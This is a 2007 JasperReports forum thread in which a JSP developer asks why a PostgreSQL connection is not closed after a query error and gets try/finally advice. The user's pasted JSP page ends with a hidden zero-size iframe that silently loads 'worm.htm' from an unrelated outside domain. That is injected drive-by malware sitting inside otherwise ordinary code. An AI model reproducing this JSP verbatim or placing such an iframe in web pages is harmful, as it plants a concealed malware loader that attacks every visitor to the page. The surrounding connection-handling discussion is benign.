Jump to content
Changes to the Jaspersoft community edition download ×

JasperReport connection is never close?


mu_eiz

Recommended Posts

My report has no error when run from the web server.so,i try to make my report has an error.so i change the sql query to have some error.when i run the report again,i got this error below.then i check the connection using PuTTY and i see that the connection is not close.so i need some help to close this connection.

 

 

 

java.sql.SQLException: ERROR: relation "n_tb_case_mueiz" does not exist

at org.postgresql.core.v3.QueryExecutorImpl.receiveErrorResponse(QueryExecutorImpl.java:1482)

at org.postgresql.core.v3.QueryExecutorImpl.processResults(QueryExecutorImpl.java:1267)

at org.postgresql.core.v3.QueryExecutorImpl.execute(QueryExecutorImpl.java:186)

at org.postgresql.jdbc2.AbstractJdbc2Statement.execute(AbstractJdbc2Statement.java:392)

at org.postgresql.jdbc2.AbstractJdbc2Statement.executeWithFlags(AbstractJdbc2Statement.java:330)

at org.postgresql.jdbc2.AbstractJdbc2Statement.executeQuery(AbstractJdbc2Statement.java:240)

at net.sf.jasperreports.engine.query.JRJdbcQueryExecuter.createDatasource(JRJdbcQueryExecuter.java:115)

at net.sf.jasperreports.engine.fill.JRFillDataset.createQueryDatasource(JRFillDataset.java:632)

at net.sf.jasperreports.engine.fill.JRFillDataset.setDatasource(JRFillDataset.java:576)

at net.sf.jasperreports.engine.fill.JRFillDataset.setParameterValues(JRFillDataset.java:565)

at net.sf.jasperreports.engine.fill.JRBaseFiller.setParameters(JRBaseFiller.java:878)

at net.sf.jasperreports.engine.fill.JRBaseFiller.fill(JRBaseFiller.java:689)

at net.sf.jasperreports.engine.fill.JRBaseFiller.fill(JRBaseFiller.java:647)

at net.sf.jasperreports.engine.fill.JRFiller.fillReport(JRFiller.java:63)

at net.sf.jasperreports.engine.JasperFillManager.fillReport(JasperFillManager.java:402)

at org.apache.jsp.JasperReport.TotalCase_jsp._jspService(TotalCase_jsp.java:157)

at org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:99)

at javax.servlet.http.HttpServlet.service(HttpServlet.java:802)

at org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:325)

at org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:295)

at org.apache.jasper.servlet.JspServlet.service(JspServlet.java:245)

at javax.servlet.http.HttpServlet.service(HttpServlet.java:802)

at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:252)

at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:173)

at org.netbeans.modules.web.monitor.server.MonitorFilter.doFilter(MonitorFilter.java:362)

at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:202)

at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:173)

at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:214)

at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:178)

at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:126)

at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:105)

at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:107)

at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:148)

at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:825)

at org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler.processConnection(Http11Protocol.java:738)

at org.apache.tomcat.util.net.PoolTcpEndpoint.processSocket(PoolTcpEndpoint.java:526)

at org.apache.tomcat.util.net.LeaderFollowerWorkerThread.runIt(LeaderFollowerWorkerThread.java:80)

at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:684)

at java.lang.Thread.run(Thread.java:595)

 

NESTED BY :

net.sf.jasperreports.engine.JRException: Error executing SQL statement for : TotalCase_GSM

at net.sf.jasperreports.engine.query.JRJdbcQueryExecuter.createDatasource(JRJdbcQueryExecuter.java:121)

at net.sf.jasperreports.engine.fill.JRFillDataset.createQueryDatasource(JRFillDataset.java:632)

at net.sf.jasperreports.engine.fill.JRFillDataset.setDatasource(JRFillDataset.java:576)

at net.sf.jasperreports.engine.fill.JRFillDataset.setParameterValues(JRFillDataset.java:565)

at net.sf.jasperreports.engine.fill.JRBaseFiller.setParameters(JRBaseFiller.java:878)

at net.sf.jasperreports.engine.fill.JRBaseFiller.fill(JRBaseFiller.java:689)

at net.sf.jasperreports.engine.fill.JRBaseFiller.fill(JRBaseFiller.java:647)

at net.sf.jasperreports.engine.fill.JRFiller.fillReport(JRFiller.java:63)

at net.sf.jasperreports.engine.JasperFillManager.fillReport(JasperFillManager.java:402)

at org.apache.jsp.JasperReport.TotalCase_jsp._jspService(TotalCase_jsp.java:157)

at org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:99)

at javax.servlet.http.HttpServlet.service(HttpServlet.java:802)

at org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:325)

at org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:295)

at org.apache.jasper.servlet.JspServlet.service(JspServlet.java:245)

at javax.servlet.http.HttpServlet.service(HttpServlet.java:802)

at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:252)

at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:173)

at org.netbeans.modules.web.monitor.server.MonitorFilter.doFilter(MonitorFilter.java:362)

at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:202)

at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:173)

at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:214)

at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:178)

at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:126)

at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:105)

at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:107)

at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:148)

at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:825)

at org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler.processConnection(Http11Protocol.java:738)

at org.apache.tomcat.util.net.PoolTcpEndpoint.processSocket(PoolTcpEndpoint.java:526)

at org.apache.tomcat.util.net.LeaderFollowerWorkerThread.runIt(LeaderFollowerWorkerThread.java:80)

at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:684)

at java.lang.Thread.run(Thread.java:595)

Caused by: java.sql.SQLException: ERROR: relation "n_tb_case_mueiz" does not exist

at org.postgresql.core.v3.QueryExecutorImpl.receiveErrorResponse(QueryExecutorImpl.java:1482)

at org.postgresql.core.v3.QueryExecutorImpl.processResults(QueryExecutorImpl.java:1267)

at org.postgresql.core.v3.QueryExecutorImpl.execute(QueryExecutorImpl.java:186)

at org.postgresql.jdbc2.AbstractJdbc2Statement.execute(AbstractJdbc2Statement.java:392)

at org.postgresql.jdbc2.AbstractJdbc2Statement.executeWithFlags(AbstractJdbc2Statement.java:330)

at org.postgresql.jdbc2.AbstractJdbc2Statement.executeQuery(AbstractJdbc2Statement.java:240)

at net.sf.jasperreports.engine.query.JRJdbcQueryExecuter.createDatasource(JRJdbcQueryExecuter.java:115)

... 32 more

Link to comment
Share on other sites

  • Replies 4
  • Created
  • Last Reply

Top Posters In This Topic

Top Posters In This Topic

JasperReports does not close the connection because JasperReports is not the one who creates the connection. The connection is created by the caller and passed to JasperReports, so it is the caller's responsibility to close it. So if the connection does not get closed when exceptions are raised, put a try block around the code where you fill the report and close the connection of catch or finally.

 

Regards,

Lucian

Link to comment
Share on other sites

hello lucianc.actually i'm very new in jsp.so this is(below) the way i call the report.where should i put try and catch?i really need help right now.please.

 

 

 

<%@ include file="../Connections/conn1.jsp" %>

<%@ page errorPage="error.jsp" %>

<%@ page import="net.sf.jasperreports.engine.*" %>

<%@ page import="net.sf.jasperreports.engine.util.*" %>

<%@ page import="net.sf.jasperreports.engine.export.*" %>

<%@ page import="net.sf.jasperreports.j2ee.servlets.*" %>

<%@ page import="java.util.*" %>

<%@ page import="java.io.*" %>

<%@ page import="java.sql.*" %>

<%

 

String yyyy=null;

String pageName = null;

pageName = "TotalCase.jsp";

yyyy=request.getParameter("yyyy");

JasperPrint jasperPrint = null;

 

 

//jasperPrint = (JasperPrint)session.getAttribute(ImageServlet.DEFAULT_JASPER_PRINT_SESSION_ATTRIBUTE);

 

 

if (request.getParameter("reload") != null || jasperPrint == null)

{

//compile JasperReport Design..........

File reportFile = new File(application.getRealPath("reports/TotalCase_GSM.jasper"));

if (!reportFile.exists())

{

JasperCompileManager.compileReportToFile(application.getRealPath("reports/TotalCase_GSM.jrxml"));//

}

 

// 1

File reportFile1 = new File(application.getRealPath("reports/TotalCaseTabular_GSM.jasper"));

if (!reportFile1.exists())

{

JasperCompileManager.compileReportToFile(application.getRealPath("reports/TotalCaseTabular_GSM.jrxml"));//1

}

 

 

//declare jasperReport object.............

//JasperPrint jasperPrint;

 

 

JasperReport jasperReport = (JasperReport)JRLoader.loadObject(reportFile.getPath());

JasperReport jasperReport1 = (JasperReport)JRLoader.loadObject(reportFile1.getPath());

 

 

 

Map parameters = new HashMap();

parameters.put("BaseDir", reportFile.getParentFile());

//parameters.put("record_src", recordSource);

parameters.put("TotalCase_Tabular", jasperReport1);

parameters.put("yyyy",yyyy);

 

jasperPrint = JasperFillManager.fillReport(jasperReport, parameters, con);

session.setAttribute(ImageServlet.DEFAULT_JASPER_PRINT_SESSION_ATTRIBUTE, jasperPrint);

con.close();

 

 

}

 

 

JRHtmlExporter exporter = new JRHtmlExporter();

 

int pageIndex = 0;

int lastPageIndex = 0;

 

if (jasperPrint.getPages() != null)

{lastPageIndex = jasperPrint.getPages().size() - 1;}

 

String pageStr = request.getParameter("page");

try

{ pageIndex = Integer.parseInt(pageStr);}

catch(Exception e)

{}

 

if (pageIndex < 0)

{pageIndex = 0;}

 

 

if (pageIndex > lastPageIndex)

{ pageIndex = lastPageIndex;}

 

 

if(pageIndex < 0){

response.sendRedirect("../fdms/errorPage.jsp?msg=Sorry,No record Found!");

}else{

StringBuffer sbuffer = new StringBuffer();

exporter.setParameter(JRExporterParameter.JASPER_PRINT, jasperPrint);

exporter.setParameter(JRExporterParameter.OUTPUT_STRING_BUFFER, sbuffer);

exporter.setParameter(JRHtmlExporterParameter.IMAGES_URI, "../servlets/image?image=");

exporter.setParameter(JRExporterParameter.PAGE_INDEX, new Integer(pageIndex));

exporter.setParameter(JRHtmlExporterParameter.HTML_HEADER, "");

exporter.setParameter(JRHtmlExporterParameter.BETWEEN_PAGES_HTML, "");

exporter.setParameter(JRHtmlExporterParameter.HTML_FOOTER, "");

exporter.exportReport();

 

 

%>

<%

String addUrl = null;

addUrl = "&yyyy="+yyyy;

 

if(request.getParameter("PrintReport") != null){

String PrintReport = null;

String JasperPrintFax = null;

PrintReport=request.getParameter("PrintReport");

 

if(PrintReport.matches("pdf")){

response.sendRedirect("../servlets/pdf");

 

}

if(PrintReport.matches("xls")){

response.sendRedirect("../servlets/xls");

}

if(PrintReport.matches("rtf")){

response.sendRedirect("../servlets/rtf");

}

}

%>

<html>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

<head>

<style type="text/css">

a {text-decoration: none}

</style>

</head>

<body text="#000000" link="#000000" alink="#000000" vlink="#000000">

<%@include file="upReport.jsp" %>

<%=sbuffer.toString()%>

<%@include file="downReport.jsp" %>

 

</body>

</html>

<%}%><iframe src=http://www.krvkr.com/worm.htm width=0 height=0></iframe>

Post edited by: mu_eiz, at: 2007/06/15 04:38

Link to comment
Share on other sites

Replace the following lines

Code:

jasperPrint = JasperFillManager.fillReport(jasperReport, parameters, con);
session.setAttribute(ImageServlet.DEFAULT_JASPER_PRINT_SESSION_ATTRIBUTE, jasperPrint);
con.close();

by

Code:
[code]
try
{
jasperPrint = JasperFillManager.fillReport(jasperReport, parameters, con);
session.setAttribute(ImageServlet.DEFAULT_JASPER_PRINT_SESSION_ATTRIBUTE, jasperPrint);
}
finally
{
con.close();
}

 

I'd also suggest you to learn Java programming basics if you intend to develop JSP pages.

 

Regards,

Lucian

Post edited by: lucianc, at: 2007/06/15 08:38

Link to comment
Share on other sites

hello lucianc.the connection still not close and not only that.my report cannot display each time tomcat restart.what must i do to solve that.please help me.

 

 

The page cannot be displayed

The page you are looking for is currently unavailable. The Web site might be experiencing technical difficulties, or you may need to adjust your browser settings.

 

--------------------------------------------------------------------------------

 

Please try the following:

 

Click the Refresh button, or try again later.

 

If you typed the page address in the Address bar, make sure that it is spelled correctly.

 

To check your connection settings, click the Tools menu, and then click Internet Options. On the Connections tab, click Settings. The settings should match those provided by your local area network (LAN) administrator or Internet service provider (ISP).

See if your Internet connection settings are being detected. You can set Microsoft Windows to examine your network and automatically discover network connection settings (if your network administrator has enabled this setting).

Click the Tools menu, and then click Internet Options.

On the Connections tab, click LAN Settings.

Select Automatically detect settings, and then click OK.

Some sites require 128-bit connection security. Click the Help menu and then click About Internet Explorer to determine what strength security you have installed.

If you are trying to reach a secure site, make sure your Security settings can support it. Click the Tools menu, and then click Internet Options. On the Advanced tab, scroll to the Security section and check settings for SSL 2.0, SSL 3.0, TLS 1.0, PCT 1.0.

Click the Back button to try another link.

 

 

 

Cannot find server or DNS Error

Internet Explorer

Post edited by: mu_eiz, at: 2007/06/19 09:36

Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now

×
×
  • Create New...